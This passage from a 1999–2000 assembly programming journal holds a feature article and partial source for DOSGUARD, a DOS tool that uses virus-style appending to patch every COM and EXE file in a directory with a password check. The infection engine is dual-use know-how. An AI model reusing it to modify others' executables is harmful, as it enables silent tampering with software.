::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. Dec 99-Feb 00 :::\_____\::::::::::. Issue 7 ::::::::::::::::::::::......................................................... A S S E M B L Y P R O G R A M M I N G J O U R N A L http://asmjournal.freeservers.com asmjournal@mailcity.com T A B L E O F C O N T E N T S ---------------------------------------------------------------------- Introduction...................................................mammon_ "Extending DOS Executables"..........................Digital.Alchemist "Creating a User-Friendly Interface"......................S.Sirajudeen "ASM Building Blocks"...................................Laura.Fairhead "Converting Strings to Numbers"...........................Chris.Dragan "List Scan Library Routine".............................Laura.Fairhead "Using the RTC"..........................................Jan.Verhoeven "Chaos Animation".......................................Laura.Fairhead "Inline Assembler With Modula"...........................Jan.Verhoeven "Assembly on the Alpha Platform"........................Rudolf.Seemann Column: Win32 Assembly Programming "Direct Draw Samples"....................................X-Calibre Column: The Unix World "Enter fbcon".................................Konstantin.Boldyshev Column: Assembly Language Snippets "ToHex".....................................................Ronald "Hex2ASCII"................................................cpuburn "MMX ltostr".....................................Cecchinel.Stephan Column: Issue Solution "ScreenDump"........................................Laura.Fairhead ---------------------------------------------------------------------- +++++++++++++++++++Issue Challenge++++++++++++++++++ Dump the contents of the current console to a file ---------------------------------------------------------------------- ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::..............................................INTRODUCTION by mammon_ What? Late again? Wasn't there going to be a December issue? Well, yeah, there was; unfortunately once again real-world concerns interfered with timely distribution. And, as usually happens with late issues, this one is waaaaay oversized, almost 200K due to all the articles I crammed into it. I didn't even get a chance to include my linux kernel modules article... This issue seems to have a bit of a 'Hex-to-ASCII' bent to it, mostly from the snippets but also from the conversion routines offered by Chris and Laura. In addition, some 'fringe' asm has been supplied with Jan's Modula article, along with an introduction to Alpha assembly language by Rudolph Seeman. Konstantin Boldyshev, who helps maintain the linuxassembly.org site, continues the Unix trend with an introduction to frame-buffer programming under linux. The two leading articles are both quite large and offer a wealth of information for the beginning and experienced asm programmer. Digital Alchemist has produced a work on applying virus techniques to non-destructive applications, and S. Sirajudeen has tackled the huge problem of creating a decent UI in console-mode programs. In this issue I have tried to leave the code comments as untouched as possible; the coding styles of the authors vary quite widely, and each clearly demonstrates the planning behind the program itself -- showing how the algorithm was conceived before implementation. Stripping any of these examples of all but comments will soon reveal the worksheet used by the coders to develop their programs. Finally, I have taken to formatting these issues in Vim under linux; to check margins and pagination I have begun proofing them in Netscape and WordPerfect [10 pt Courier, natch]; they should view fine in any web browser and in most word processors; to those stuck with Notepad or Edit.com ... my apologies. _m ::/ \::::::. :/___\:::::::. /| \::::::::. :| _/\:::::::::. :| _|\ \::::::::::. :::\_____\:::::::::::...........................................FEATURE.ARTICLE Extending DOS Executables by Digital Alchemist The reason behind this essay is to show how techniques first developed by virus writers can be used for benevolent purposes. It is my opinion that all knowledge is good and viral techniques are certainly no exception. I will lead you through the development of a program called DOSGUARD which benignly modifies DOS executables, both COM and EXE. DESCRIPTION OF DOSGUARD ----------------------- DOSGUARD is a DOS COM program which I developed in order to restrict access to certain programs on my computer. DOSGUARD modifies all of the COM and EXE files in the current directory, adding code to each one that requires the user to correctly enter a password before running the original program. DOSGUARD, while sufficient for this article, could use a little work in the realm of user friendliness. More user feedback and a better way to specify which files to be modified are needed. In addition, I have written a version of DOSGUARD that uses simple xor encryption to improve security. DOSGUARD was written using turbo assembler. STRUCTURE OF COM FILES ---------------------- Unlike the EXE file format, the programmer has no input into the segment format of COM files. All COM files consist of 1 segment only, with no predefined distinction between data and code. After DOS finishes some preparatory work, the COM file is loaded at offset 100h. The first 256 bytes are known as the Program Segment Prefix(PSP). Located at offset 80h is an important data structure called the DTA or Data Transfer Area. The DTA is important, but most of the rest of the PSP can be ignored by the programmer. Before actually starting execution of the COM program, DOS sets up the stack at the top of the segment(the highest memory address). OUTLINE OF COM MODIFICATION --------------------------- 1. Open the file and read 1st 5 bytes. 2. Make sure the file is not really an EXE file because after DOS 6.0 some files ending in ".com" were really EXEs. 3. Check to see if the file has already been modified by DOSGUARD by checking if the values of the 4th and 5th bytes match the DOSGUARD identification string of "CG". 4. Make sure the file is not so large that when DOSGUARD adds its code it doesn't exceed the 64k segment size. 5. If the file passes 2-4 then its ok to modify, so DOSGUARD opens it and writes the code to the end of the file. 6. Calculate the size of the jump to the code we added and write the jump instruction along with the identification string to the beginning of the file. I'll go over each of these steps in a little more detail with code snippets where necessary. The complete source code for DOSGUARD can be found at the end of the article and at my web page. Hopefully, the comments will be enough to explain any areas I don't discuss in detail. Essentially, the way DOSGUARD modifies COM files is by inserting a jump at the beginning of the file which goes straight to the password authentication code, located at the end of the file. If the correct password is entered by the user, then it will restore the 5 bytes that were overwritten by the jump and the identification string and execute the program just like DOSGUARD was never there. COM MODIFICATION - STEP 1 ------------------------- Once we've found a COM file, the first thing to do is open it. Then, after running some tests on the file, we can determine if it is suitable for modification. But first, we need to read the first 5 bytes because we'll need them later. mov ax, 3D02h ;Open file R/W mov dx, 9Eh ;Filename, stored in DTA int 21h mov bx, ax ;Save file handle in bx mov ax, 3F00h ;Read first 5 bytes from file mov cx, 5 mov dx, offset obytes int 21h COM MODIFICATION - STEP 2 ------------------------- After DOS 6.0, some files with the COM extension are actually EXEs. COMMAND.COM, for instance, is one of these. If we try to modify an EXE file as if it were a COM file, then we're going to really screw things up. To prevent this, we make sure that the string "MZ" doesn't appear in the first two bytes of the file. "MZ" is the string which tells DOS that a file is an EXE. ;Check to see if file is really an EXE cmp word ptr[obytes], 'ZM' je EXE COM MODIFICATION - STEP 3 ------------------------- If the file had been previously altered by DOSGUARD, then the 4th and 5th bytes will contain the identification string "CG". We need to make sure we skip files that have this identification string. ;Check to see if file is already infected ;if it is, then skip it cmp word ptr [obytes + 3], 'GC' je NO_INFECT COM MODIFICATION - STEP 4 ------------------------- Another thing to watch out for is the file's size. If the file will exceed one segment in size when we add our code, then the file is too big to modify. ;Make sure file isn't too large mov ax, ds:[009Ah] ;Size of file from DTA add ax, offset ENDGUARD - offset COMGUARD + 100h jc NO_INFECT ;If ax overflows then don't infect COM MODIFICATION - STEP 5 ------------------------- If the file is a suitable candidate for modification, then we simply write our code to the end of the file. Also, we have to save the original first 5 bytes from the file somewhere in your code. In DOSGUARD's case, the 5 bytes are already saved in the proper place because "obytes" is located within the code which we are about to write. xor cx, cx ;cx = 0 xor dx, dx ;dx = 0 mov ax, 4202h ;Move file pointer to the end of file int 21h mov ax, 4000h ;Write the code to the end of file mov dx, offset COMGUARD mov cx, offset ENDGUARD - offset COMGUARD int 21h COM MODIFICATION - STEP 6 ------------------------- The final step is to calculate the size of the jump to our code and write the opcode for the jump and the identification string over the first 5 bytes of the file. mov ax, 4200h ;Move file pointer to beginning of xor cx, cx ; file to write jump xor dx, dx int 21h ;Prepare the jump instruction to be written to beginning of file xor ax, ax mov byte ptr [bytes], 0E9h ;opcode for jmp mov ax, ds:[009Ah] ;size of the file sub ax, 3 ;size of the jump instruction mov word ptr [bytes + 1], ax;size of the jump ;Write the jump mov cx, 5; ;size to be written mov dx, offset bytes mov ax, 4000h int 21h mov ah, 3Eh ;Close file int 21h RESPONSIBILITIES OF INSERTED CODE -------------------------------- There are two problems which the inserted code has to deal with. First, since the code could be located at any arbitrary offset within the segment, it cannot depend on the compiled absolute addresses of its data labels. To solve this problem we use a technique virus writers call the delta offset. The delta offset is the difference between the actual and compiled addresses of data. Anytime our code accesses data in memory it adds the delta offset to the data's compiled address. The following piece of code finds the delta offset. call GET_START GET_START: pop bp sub bp, offset GET_START The "call" pushes the current ip onto the stack, which is the actual address of the label "GET_START." Subtract the compiled address from the actual one and there's our delta offset. The second problem is to make sure the first 5 bytes of the host are restored to their original values before we return from our jump and execute the host. STRUCTURE OF EXE FILES ---------------------- The EXE file format is much more complicated than the COM format. The big difference is that EXE files allow the program to specify how it wants its segments to be laid out in memory, allowing programs to exceed one 64k segment in size. Most EXEs will have separate code, data, and stack segments. All of this information is stored in the EXE Header. Here's a brief rundown of what the header looks like: Offset Size Field 0 2 Signature. Will always be 'MZ' 2 2 Last Page Size. Number of bytes on the last page of memory. 4 2 Page Count. Number of 512 byte pages in the file. 6 2 Relocation Table Entries. Number of items in the relocation pointer table. 8 2 Header Size. Size of header in paragraphs, including the relocation pointer table. 10 2 Minalloc 12 2 Maxalloc 14 2 Initial Stack Segment. 16 2 Initial Stack Pointer. 18 2 Checksum. (Usually ignored) 20 2 Initial Instruction Pointer 22 2 Initial Code Segment 24 2 Relocation Table Offset. Offset to the start of the relocation pointer table. 26 2 Overlay Number. Primary executables(the ones we wish to modify) always have this set to zero. Following the EXE header is the relocation pointer table, with a variable amount of blank space between the header and the start of the table. The relocation table is a table of offsets. These offsets are combined with starting segment values calculated by DOS to point to a word in memory where the final segment address is written. Essentially, the relocation pointer table is DOS's way to handle the dynamic placement of segments into physical memory. This isn't a problem with COM files because there is only one segment and the program isn't aware of anything else. Following the relocation pointer table is another variable amount of reserved space and finally the program body. To successfully add code to an EXE file requires careful manipulation of the EXE header and relocation pointer table. OUTLINE OF EXE MODIFICATION --------------------------- 1. Open the file and read the 1st 2 bytes(DOSGUARD actually reads 5). 2. Check for EXE signature "MZ". 3. Read the EXE header. 4. Check the file for previous infection. 5. Make sure that the Overlay Number is 0. 6. Make sure the file is a DOS EXE. 7. If the file passes 2-6 then it is ok to modify. The first step is to check the relocation pointer table to see if there is room to add 2 pointers. If there is room, then jump to step 9. 8. If there isn't enough room in the relocation pointer table, then DOSGUARD has to make room. It reads in the entire file after the relocation pointer table and writes it back out one paragraph higher in memory. 9. Save the original ss, sp, cs, and ip. 10. Adjust the file length to paragraph boundary. 11. Write code to the end of the file. 12. Adjust the EXE header to reflect the new starting segments and file size. 13. Write out the header. 14. Modify the relocation pointer table. The easiest way to think about EXE modification is to imagine that we are adding a complete COM program to the end of the file. Our code will occupy its own segment located just after the host. This one segment will serve as a code, data, and stack segment just like in a COM program. Instead of inserting a jump to take us there, we will simply adjust the starting segment values in the EXE header to point to our segment. EXE MODIFICATION - STEP 1 ------------------------- The same as with COM files, except that the only bytes we actually need are the first two. With EXE files we will use different methods for determining previous modification(I try to avoid using the viral term "infection") and for transferring execution to our code. EXE MODIFICATION - STEP 2 ------------------------- Check the first two bytes for the EXE signature "MZ". If the file doesn't start with "MZ," then it isn't a DOS EXE. cmp word ptr[obytes], 'ZM' je EXE EXE MODIFICATION - STEP 3 ------------------------- Now, DOSGUARD simply reads the EXE header into a 28 byte buffer. Later, we will make the necessary changes to the header and write it back out. xor cx, cx ;Move the file pointer back xor dx, dx ;to the beginning of the file mov ax, 4200h int 21h mov cx, 1Ch ;read exe header (28 bytes) mov dx, offset exehead ;into buffer mov ah, 3Fh int 21h EXE MODIFICATION - STEP 4 ------------------------- We don't use a signature string to mark EXE files. Instead, we compare the code entry point with the size of the file. If the file has been previously modified by DOSGUARD, then we know that the distance of the code entry point from the end of the file will be the length of the code that DOSGUARD adds. To put things in mathematical terms: (initial cs * 16) + (size of code DOSGUARD adds) + (size of header) will equal the size of the file. The initial cs times 16 is the code entry point, of course. You have to add the header size because it isn't loaded into memory along with the rest of the code and data. ;Make sure it hasn't already been infected ;If (initial CS * 16) + (size of code) + (size of header) == filesize ; then the file has already been infected mov ax, word ptr [exehead+22] mov dx, 16 mul dx add ax, offset ENDGUARD2 - offset EXEGUARD adc dx, 0 mov cx, word ptr [exehead+8] add cx, cx add cx, cx add cx, cx add cx, cx add ax, cx adc dx, 0 cmp ax, word ptr cs:[9Ah] jne EXEOK cmp dx, word ptr cs:[9Ch] je NO_INFECT EXE MODIFICATION - STEP 5 ------------------------- Another simple test that needs to be done is to make sure that the Overlay Number stored in the EXE header is 0. The code for this is simple. ;Make sure Overlay Number is 0 cmp word ptr [exehead+26], 0 jnz NO_INFECT EXE MODIFICATION - STEP 6 ------------------------- This part is kind of tricky. There are lots of files out there with the EXE extension that aren't DOS executables. Both Windows and OS/2 use this extension as well, for instance. To complicate matters, there isn't an easy way to automatically distinguish DOS EXEs from the others. The technique that I use in DOSGUARD is to check the offset of the relocation pointer table and make sure that it is less than 40h. This should always detect Windows and OS/2 programs, but it sometimes raises false alarms on valid DOS files. ;Make sure it is a DOS EXE (as opposed to windows or OS/2) cmp word ptr [exehead+24], 40h jae NO_INFECT EXE MODIFICATION - STEP 7 ------------------------- Now that we know we have a file that we can modify we just have to determine if its going to be easy to modify or a real pain. Here's the deal. The relocation pointer table is always an even multiple of 16 bytes in size. Each pointer in the table is 4 bytes. For our purposes, we need to add 2 pointers to the table. That means the table must have at least 8 bytes free in order to leave it at its current size. If it doesn't have room for two more pointers, then we will have to make room. That means reading in the whole file after the table and writing it back out with 16 bytes more space for the table. To find out if there is enough room, all you have to do is subtract the offset of the relocation pointer table and the number of entries in the table from the size of the header. The result is the amount of free space in the table. All of this information can be found in the handy dandy EXE header. Of course, you have to take into account the units that each of these values are stored in (bytes, paragraphs, etc.) ;Check the relocation pointer table to see if there is ;room. If there isn't then we'll have to make room. mov ax, word ptr [exehead+8];size of header in paragraphs add ax, ax ; add ax, ax ;Convert to double words. sub ax, word ptr [exehead+6];Subtract # of entries each of add ax, ax ;which is a double word and then add ax, ax ;convert the final total to bytes. sub ax, word ptr [exehead+24];If there are 8 bytes left after cmp ax, 8 ;you subtract the offset to the jc NOROOM ;reloc table then there is room. jmp HAVEROOM EXE MODIFICATION - STEP 8 ------------------------- The first thing to do is move the file pointer to the correct spot just after the last entry in the relocation pointer table. xor cx, cx ;Move the file pointer to the end of mov dx, word ptr [exehead+24] ;the relocation pointer table. mov ax, word ptr [exehead+6];size of relocation table in doubles add ax, ax ;* 4 to get bytes add ax, ax add dx, ax ;add that to start of table push dx mov ax, 4200h int 21h Now, DOSGUARD calculates the amount which needs to be written. This code is in the function called CALC_SIZE. When CALC_SIZE is finished, cx will hold the number of pages and "lps" will hold the size of the last page since it probably will not be a full 512 byte page. ;dx holds the position in the file where we want to start reading. ;So, the amount to read in and write back out is equal to the size ;of the file minus dx. mov cx, word ptr [exehead+2] mov word ptr [lps], cx ;Copy Last Page Size into lps mov cx, word ptr [exehead+4];Copy Num Pages into cx cmp dx, word ptr [lps] ;If bytes to subtract are less than jbe FINDLPS ;lps then just subtract them and exit mov ax, dx xor dx, dx mov cx, 512 div cx ;ax = pages to subtract mov cx, word ptr [exehead+4];dx = remainder to subtract from lps sub cx, ax cmp dx, word ptr [lps] jbe FINDLPS sub cx, 1 mov ax, dx sub ax, word ptr [lps] mov dx, 512 sub dx, ax FINDLPS: sub word ptr [lps], dx ;Subtract start position and leave ;Num Pages the same Once you know the amount of code you have to move, you have to come up with a way to simultaneously read and write from the same file without overwriting data that hasn't been read yet. DOSGUARD's solution is to use a 16 byte buffer. DOSGUARD's move loop reads 528 bytes and writes out 512 bytes with each iteration. In other words, it reads 16 bytes ahead of where it is writing so that it doesn't overwrite bytes before they're read. DOSGUARD has a number of functions for reading and writing pages, reading and writing paragraphs, and moving the file pointer around. It also has one function for moving the 16 bytes at the end of the 528 byte buffer in memory to the front. Well, I'll shut up now and show you the code for the move loop. mov dx, offset buffer call READ_PAGE mov dx, offset para call READ_PARA call DECFP_PAGE call WRITE_PAGE call MOVE_PARA dec cx cmp cx, 1 je LASTPAGE MOVELOOP: mov dx, offset buffer + 16 call READ_PAGE call DECFP_PAGE call WRITE_PAGE call MOVE_PARA dec cx cmp cx, 1 jne MOVELOOP When DOSGUARD gets to the last page, it finishes things off by reading the last fraction of a page and then writing out those bytes plus the 16 bytes that were left buffered from the last iteration of the move loop. LASTPAGE: sub word ptr [lps], 16 mov cx, word ptr [lps] mov dx, offset buffer + 16 mov ah, 3Fh int 21h push cx mov dx, cx neg dx mov cx, -1 mov ax, 4201h int 21h pop cx add cx, 16 mov dx, offset buffer mov ah, 40h int 21h Last, but not least, there is a little maintanence to do. ;Got to adjust the file size since it will be used later add word ptr cs:[9Ah], 16 adc word ptr cs:[9Ch], 0 ;Increment the header size within the EXE header add word ptr cs:[exehead+8], 1 ;Change Page Count and Last Page Size in EXE header cmp word ptr [exehead+2], 496 jae ADDPAGE add word ptr [exehead+2], 16 jmp HAVEROOM Oh yeah, there is one more condition that needs to be handled here. If the last page was almost full(496 or more bytes), then adding 16 bytes to the file size will overflow that page so you have to add a whole new page. ADDPAGE: ;Adjust the header to add a page if the 16 additional bytes run ;over to a new page. inc word ptr [exehead+4] mov ax, 512 sub ax, word ptr [exehead+2] mov dx, 16 sub dx, ax mov word ptr [exehead+2], dx EXE MODIFICATION - STEP 9 ------------------------- Whew! Step 8 was a doozy, but now we're almost done. All Step 9 requires of us is to save the original segment values from our victim. DOSGUARD saves these values in the order that they are found within the EXE header. mov ax, word ptr [exehead+14] ;save orig stack segment mov [hosts], ax mov ax, word ptr [exehead+16] ;save orig stack pointer mov [hosts+2], ax mov ax, word ptr [exehead+20] ;save orig ip mov [hostc], ax mov ax, word ptr [exehead+22] ;save orig cs mov [hostc+2], ax EXE MODIFICATION - STEP 10 -------------------------- It will make things a little easier later on if the end of the file we are about to modify lies on a paragraph boundary. This way the starting ip for the new code that we're adding will always be zero. ;adjust file length to paragraph boundary mov cx, word ptr cs:[9Ch] mov dx, word ptr cs:[9Ah] or dl, 0Fh add dx, 1 adc cx, 0 mov cs:[9Ch], cx mov cs:[9Ah], dx mov ax, 4200h ;move file pointer to end of file int 21h ;plus boundary EXE MODIFICATION - STEP 11 -------------------------- Finally, we can write our code to the file. Just like with the COM file, we will write our code to the end of the file. The difference is in how we get there when its time to execute it. With COM files we used a jump. With EXE files we adjust the starting cs:ip to point to our code. mov cx, offset ENDGUARD2 - offset EXEGUARD ;write code to end mov dx, offset EXEGUARD ;of the exe file mov ah, 40h int 21h EXE MODIFICATION - STEP 12 -------------------------- With our code neatly tucked after the host program's code, its time to modify the EXE header so that our code is the first to execute. We also have to adjust the size fields in the EXE header to take into account all the code we just added. The first thing to is figure out what the starting segment values need to be. The starting cs will simply be the original file size divided by 16 minus the header size. The initial ip will be 0 because of Step 11. In DOSGUARD's case the ss will be the same as the cs and the sp will point to an address 256 bytes after the end of our code. 256 bytes is plenty of room for DOSGUARD's stack. mov ax, word ptr cs:[9Ah] ;calculate module's CS mov dx, word ptr cs:[9Ch] ;ax:dx contains orig file size mov cx, 16 ;CS = file size / 16 - header size div cx sub ax, word ptr [exehead+8];header size in paragraphs mov word ptr [exehead+22], ax ;ax is now initial cs mov word ptr [exehead+14], ax ;ax is now initial ss mov word ptr [exehead+20], 0 ;initial ip mov word ptr [exehead+16], ENDGUARD2 - EXEGUARD + 100h ;initial sp This next bit of code calculates the new file size, in pages of course. ;calculate new file size mov dx, word ptr cs:[9Ch] mov ax, word ptr cs:[9Ah] add ax, offset ENDGUARD2 - offset EXEGUARD + 200h adc dx, 0 mov cx, 200h div cx mov word ptr [exehead+4], ax mov word ptr [exehead+2], dx add word ptr [exehead+6], 2 EXE MODIFICATION - STEP 13 -------------------------- Now, we should be through with the header so we can write it back out to the file. ;Write out the new header mov cx, 1Ch mov dx, offset exehead mov ah, 40h int 21h EXE MODIFICATION - STEP 14 -------------------------- Last, but not least, we have to modify the relocation pointer table. First, we need to move the file pointer to where we need to add the new entries. mov ax, word ptr [exehead+6];Get the # of relocatables dec ax ;Position to add relocatable equals dec ax ;(# - 2)*4 + table offset mov cx, 4 mul cx add ax, word ptr [exehead+24] adc dx, 0 mov cx, dx mov dx, ax mov ax, 4200h ;move file pointer to position int 21h Now, we have to add two pointers to the table. The first points to "hosts," which is the stack segment of the original program. The second points to "hostc+2," which holds the original program's code segment. ;Use exehead as a buffer for relocatables. ;Put two pointers in this buffer, first points to ss in ;hosts and second points to cs in hostc. mov word ptr [exehead], ENDGUARD2 - EXEGUARD - 10 mov ax, word ptr [exehead+22] mov word ptr [exehead+2], ax mov word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4 mov word ptr [exehead+6], ax mov cx, 8 mov dx, offset exehead mov ah, 40h ;Write the 8 bytes. int 21h mov ah, 3Eh ;Close the file. int 21h RESPONSIBILITIES OF INSERTED CODE --------------------------------- There are several items which the code module we added must take into consideration. First of all, when it is finished, the state of registers, etc. must be exactly what the original program would expect them to be. For instance, ax is set by DOS to indicate whether or not the Drive ID stored in the FCBs is valid. So, the value of ax must be preserved by our code. Also, the original program may expect other registers to be set to initial values of zero. And of course, the segment registers need to be restored after our code's execution. In order to actually restore control to the host, our code must restore ss and sp to their original values. Then, it jumps to the original cs:ip. Also, inserted code can't be dependent on absolute addresses for its data. Therefore, DOSGUARD accesses all data by its offset from the end of the file. CONCLUSION ---------- Hopefully, i've explained the techniques I used in developing DOSGUARD well enough for you to develop your own binary modiying programs. As I mentioned at the beginning of this article, DOSGUARD has a lot a room for improvement. If you are interested then you should check out my web page and download the source for ENCGUARD, a more secure version of DOSGUARD. A nice way to extend DOSGUARD would be to improve on the encryption techniques used in ENCGUARD. If I ever find the time I would like to write a Win32 version of DOSGUARD which could safely modify the PE file format. If I ever do embark on such a task, I'll be sure to let the readers of Assembly Programming Journal know about it. REFERENCES ---------- "The Giant Black Book of Computer Viruses, 2nd edition" by Mark Ludwig CONTACT INFORMATION ------------------- email: jjsimpso@eos.ncsu.edu web page: http://www4.ncsu.edu/~jjsimpso/index.html Check out my web page for more information on my research into code modification. Also, feel free to email me with ideas, corrections, improvements, etc. ---------------------------BEGIN DOSGUARD.ASM---------------------------------- .model tiny .code ORG 100h START: jmp BEGINCODE ;Jump the identification string DB 'CG' BEGINCODE: mov dx, offset filter1 call FIND_FILES mov dx, offset filter2 call FIND_FILES mov ax, 4C00h ;DOS terminate int 21h ;------------------------------------------------------------------------- ;Procedure to find and then infect files ;------------------------------------------------------------------------- FIND_FILES: mov ah, 4Eh ;Search for files matching filter int 21h SLOOP: jc DONE mov ax, 3D02h ;Open file R/W mov dx, 9Eh ;Filename, stored in DTA int 21h mov bx, ax ;Save file handle in bx mov ax, 3F00h ;Read first 5 bytes from file mov cx, 5 mov dx, offset obytes int 21h ;Check to see if file is really an EXE cmp word ptr[obytes], 'ZM' je EXE COM: ;Check to see if file is already infected ;if it is, then skip it cmp word ptr [obytes + 3], 'GC' je NO_INFECT ;Make sure file isn't too large mov ax, ds:[009Ah] ;Size of file add ax, offset ENDGUARD - offset COMGUARD + 100h jc NO_INFECT ;If ax overflows then don't infect ;If we made it this far then we know the file is safe to modify call INFECT_COM jmp NO_INFECT EXE: ;Read the EXE Header call READ_HEADER jc NO_INFECT ;error reading file so skip it ;Make sure it hasn't already been infected ;If (initial CS * 16) + (size of EXEGUARD) + (size of header) == size ; then the file has already been infected mov ax, word ptr [exehead+22] mov dx, 16 mul dx add ax, offset ENDGUARD2 - offset EXEGUARD adc dx, 0 mov cx, word ptr [exehead+8] add cx, cx add cx, cx add cx, cx add cx, cx add ax, cx adc dx, 0 cmp ax, word ptr cs:[9Ah] jne EXEOK cmp dx, word ptr cs:[9Ch] je NO_INFECT EXEOK: ;Make sure Overlay Number is 0 cmp word ptr [exehead+26], 0 jnz NO_INFECT ;Make sure it is a DOS EXE (as opposed to windows or OS/2 cmp word ptr [exehead+24], 40h jae NO_INFECT call INFECT_EXE NO_INFECT: mov ax, 4F00h ;Find next file int 21h jmp SLOOP DONE: ret ;------------------------------------------------------------------------- ;Procedure to infect COM files ;------------------------------------------------------------------------- INFECT_COM: xor cx, cx ;cx = 0 xor dx, dx ;dx = 0 mov ax, 4202h ;Move file pointer to the end of file int 21h mov ax, 4000h ;Write the code to the end of file mov dx, offset COMGUARD mov cx, offset ENDGUARD - offset COMGUARD int 21h mov ax, 4200h ;Move file pointer to beginning of xor cx, cx ; file to write jump xor dx, dx int 21h ;Prepare the jump instruction to be written to beginning of file xor ax, ax mov byte ptr [bytes], 0E9h ;opcode for jmp mov ax, ds:[009Ah] ;size of the file sub ax, 3 ;size of the jump instruction mov word ptr [bytes + 1], ax;size of the jump ;Write the jump mov cx, 5; ;size to be written mov dx, offset bytes mov ax, 4000h int 21h mov ah, 3Eh ;Close file int 21h ret ;------------------------------------------------------------------------- ;Procedure to infect EXE files ;------------------------------------------------------------------------- INFECT_EXE: ;Check the relocation pointer table to see if there is ;room. If there isn't then we'll have to make room. mov ax, word ptr [exehead+8];size of header in paragraphs add ax, ax ; add ax, ax ;Convert to double words. sub ax, word ptr [exehead+6];Subtract # of entries each of add ax, ax ;which is a double word and then add ax, ax ;convert the final total to bytes. sub ax, word ptr [exehead+24];If there are 8 bytes left after cmp ax, 8 ;you subtract the offset to the jc NOROOM ;reloc table then there is room. jmp HAVEROOM NOROOM: ;Not enough room in the relocation table so we are going to ;have to add a paragraph to the table. As a result, we must ;read in the whole file after the relocation table and write ;it back out one paragraph down in memory. xor cx, cx ;Move the file pointer to the end of mov dx, word ptr [exehead+24] ;the relocation pointer table. mov ax, word ptr [exehead+6];size of relocation table in doubles add ax, ax ;* 4 to get bytes add ax, ax add dx, ax ;add that to start of table push dx mov ax, 4200h int 21h pop dx call CALC_SIZE cmp cx, 1 je LASTPAGE mov dx, offset buffer call READ_PAGE mov dx, offset para call READ_PARA call DECFP_PAGE call WRITE_PAGE call MOVE_PARA dec cx cmp cx, 1 je LASTPAGE MOVELOOP: mov dx, offset buffer + 16 call READ_PAGE call DECFP_PAGE call WRITE_PAGE call MOVE_PARA dec cx cmp cx, 1 jne MOVELOOP LASTPAGE: sub word ptr [lps], 16 mov cx, word ptr [lps] mov dx, offset buffer + 16 mov ah, 3Fh int 21h push cx mov dx, cx neg dx mov cx, -1 mov ax, 4201h int 21h pop cx add cx, 16 mov dx, offset buffer mov ah, 40h int 21h ;Got to adjust the file size since it will be used later add word ptr cs:[9Ah], 16 adc word ptr cs:[9Ch], 0 ;Increment the header size within the EXE header add word ptr cs:[exehead+8], 1 ;Change Page Count and Last Page Size in EXE header cmp word ptr [exehead+2], 496 jae ADDPAGE add word ptr [exehead+2], 16 jmp HAVEROOM ADDPAGE: ;Adjust the header to add a page if the 16 additional bytes run ;over to a new page. inc word ptr [exehead+4] mov ax, 512 sub ax, word ptr [exehead+2] mov dx, 16 sub dx, ax mov word ptr [exehead+2], dx HAVEROOM: mov ax, word ptr [exehead+14] ;save orig stack segment mov [hosts], ax mov ax, word ptr [exehead+16] ;save orig stack pointer mov [hosts+2], ax mov ax, word ptr [exehead+20] ;save orig ip mov [hostc], ax mov ax, word ptr [exehead+22] ;save orig cs mov [hostc+2], ax mov cx, word ptr cs:[9Ch] ;adjust file length to paragraph mov dx, word ptr cs:[9Ah] ; boundary or dl, 0Fh add dx, 1 adc cx, 0 mov cs:[9Ch], cx mov cs:[9Ah], dx mov ax, 4200h ;move file pointer to end of file int 21h ;plus boundary mov cx, offset ENDGUARD2 - offset EXEGUARD ;write code to end mov dx, offset EXEGUARD ;of the exe file mov ah, 40h int 21h xor cx, cx ;Move file pointer to beginning of file xor dx, dx mov ax, 4200h int 21h ;adjust the EXE header and then write it back out mov ax, word ptr cs:[9Ah] ;calculate module's CS mov dx, word ptr cs:[9Ch] ;ax:dx contains orig file size mov cx, 16 ;CS = file size / 16 - header size div cx sub ax, word ptr [exehead+8];header size in paragraphs mov word ptr [exehead+22], ax ;ax is now initial cs mov word ptr [exehead+14], ax ;ax is now initial ss mov word ptr [exehead+20], 0 ;initial ip mov word ptr [exehead+16], ENDGUARD2 - EXEGUARD + 100h ;initial sp mov dx, word ptr cs:[9Ch] ;calculate new size file size mov ax, word ptr cs:[9Ah] add ax, offset ENDGUARD2 - offset EXEGUARD + 200h adc dx, 0 mov cx, 200h div cx mov word ptr [exehead+4], ax mov word ptr [exehead+2], dx add word ptr [exehead+6], 2 mov cx, 1Ch ;Write out the new header mov dx, offset exehead mov ah, 40h int 21h ;modify relocatables table mov ax, word ptr [exehead+6];Get the # of relocatables dec ax ;Position to add relocatable equals dec ax ;(# - 2)*4 + table offset mov cx, 4 mul cx add ax, word ptr [exehead+24] adc dx, 0 mov cx, dx mov dx, ax mov ax, 4200h ;move file pointer to position int 21h ;Use exehead as a buffer for relocatables. ;Put two pointers in this buffer, first points to ss in ;hosts and second points to cs in hostc. mov word ptr [exehead], ENDGUARD2 - EXEGUARD - 10 mov ax, word ptr [exehead+22] mov word ptr [exehead+2], ax mov word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4 mov word ptr [exehead+6], ax mov cx, 8 mov dx, offset exehead mov ah, 40h ;Write the 8 bytes. int 21h mov ah, 3Eh ;Close the file. int 21h ret ;Done! ;------------------------------------------------------------------------- ;Procedure to calculate the amount that needs to be written ;------------------------------------------------------------------------- CALC_SIZE: ;dx holds the position in the file where we want to start reading. ;So, the amount to read in and write back out is equal to the size ;of the file minus dx. mov cx, word ptr [exehead+2] mov word ptr [lps], cx ;Copy Last Page Size into lps mov cx, word ptr [exehead+4];Copy Num Pages into cx cmp dx, word ptr [lps] ;If bytes to subtract are less than jbe FINDLPS ;lps then just subtract them and exit mov ax, dx xor dx, dx mov cx, 512 div cx ;ax = pages to subtract mov cx, word ptr [exehead+4];dx = remainder to subtract from lps sub cx, ax cmp dx, word ptr [lps] jbe FINDLPS sub cx, 1 mov ax, dx sub ax, word ptr [lps] mov dx, 512 sub dx, ax FINDLPS: sub word ptr [lps], dx ;Subtract start position and leave ;Num Pages the same ret ;------------------------------------------------------------------------- ;Procedure to read the EXE Header ;------------------------------------------------------------------------- READ_HEADER: xor cx, cx ;Move the file pointer back xor dx, dx ;to the beginning of the file mov ax, 4200h int 21h mov cx, 1Ch ;read exe header (28 bytes) mov dx, offset exehead ;into buffer mov ah, 3Fh int 21h ret ;return with cf set properly ;------------------------------------------------------------------------- ;Procedure to read a page ;------------------------------------------------------------------------- READ_PAGE: push ax push cx mov ah, 3Fh mov cx, 512 int 21h pop cx 